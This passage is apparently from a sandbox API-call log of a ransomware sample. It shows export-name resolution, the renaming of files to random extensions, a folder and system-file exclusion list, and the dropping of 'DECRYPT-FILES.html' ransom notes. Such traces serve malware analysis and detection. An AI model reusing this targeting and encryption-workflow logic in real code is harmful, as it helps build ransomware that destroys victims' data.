lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0115.819] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0115.819] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0115.819] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0115.819] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0115.819] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0115.819] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0115.819] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0115.819] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0115.819] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0115.819] lstrlenA (lpString="CREATEEVENTA") returned 12 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0115.819] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0115.819] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0115.819] lstrlenA (lpString="CREATEEVENTW") returned 12 [0115.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0115.820] lstrlenA (lpString="CREATEFIBER") returned 11 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0115.820] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0115.820] lstrlenA (lpString="CREATEFILE2") returned 11 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0115.820] lstrlenA (lpString="CREATEFILEA") returned 11 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0115.820] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0115.820] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0115.820] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0115.820] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0115.820] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0115.820] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0115.820] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0115.820] lstrlenA (lpString="CREATEFILEW") returned 11 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0115.820] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0115.820] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0115.820] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0115.820] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0115.820] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0115.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0115.820] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0115.821] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0115.821] lstrlenA (lpString="CREATEJOBSET") returned 12 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0115.821] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0115.821] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0115.821] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0115.821] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0115.821] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0115.821] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0115.821] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0115.821] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0115.821] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0115.821] lstrlenA (lpString="CREATEPIPE") returned 10 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0115.821] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0115.821] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0115.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0115.822] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0115.822] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0115.822] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0115.822] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0115.822] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0115.822] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0115.822] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0115.822] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0115.822] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0115.822] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0115.822] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0115.822] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0115.822] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0115.822] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0115.822] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0115.822] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0115.822] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0115.822] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0115.822] lstrlenA (lpString="CREATETHREAD") returned 12 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0115.822] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0115.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0115.823] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0115.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0115.823] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0115.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0115.823] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0115.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0115.823] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0115.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0115.823] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0115.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0115.823] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0115.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0115.823] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.kloNJr") returned 52 [0115.823] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.kloNJr" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.klonjr"), dwFlags=0x0) returned 1 [0115.824] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.824] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.824] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.824] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0115.825] FindClose (in: hFindFile=0x6bbb70 | out: hFindFile=0x6bbb70) returned 1 [0115.825] CloseHandle (hObject=0x528) returned 1 [0115.825] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0115.825] lstrcmpW (lpString1="1029", lpString2=".") returned 1 [0115.825] lstrcmpW (lpString1="1029", lpString2="..") returned 1 [0115.825] lstrcatW (in: lpString1="1029", lpString2="\\" | out: lpString1="1029\\") returned="1029\\" [0115.825] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1029\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch=":\\Windows") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\Program Files") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\Games\\") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\Tor Browser\\") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\ProgramData\\") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0115.825] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1029\\", lpSrch="\\All Users") returned 0x0 [0115.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0115.825] lstrlenW (lpString="eogwkz.dat") returned 10 [0115.825] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\\\eogwkz.dat") returned 38 [0115.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1029\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0115.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0115.826] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0115.826] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\\\DECRYPT-FILES.html") returned 46 [0115.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1029\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0115.827] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0115.828] CloseHandle (hObject=0x470) returned 1 [0115.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0115.828] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1029\\*") returned="C:\\588bce7c90097ed212\\1029\\*" [0115.829] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b4a03c4, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x707ab8 [0115.829] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0115.829] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b4a03c4, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0115.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0115.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0115.829] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b4a03c4, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4b4a03c4, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4b4a03c4, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0115.829] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0115.829] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b4a03c4, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4b4a03c4, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4b4a03c4, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0115.829] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0115.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0115.829] lstrlenW (lpString="eogwkz.dat") returned 10 [0115.829] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1029\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0115.829] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1029\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1029\\eogwkz.dat" [0115.829] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1029\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.830] CloseHandle (hObject=0x0) returned 0 [0115.830] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.830] FindNextFileW (in: hFindFile=0x707ab8, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0115.830] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0115.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\") returned 27 [0115.830] lstrlenW (lpString="eula.rtf") returned 8 [0115.830] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1029\\" | out: lpString1="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0115.830] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf" [0115.830] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 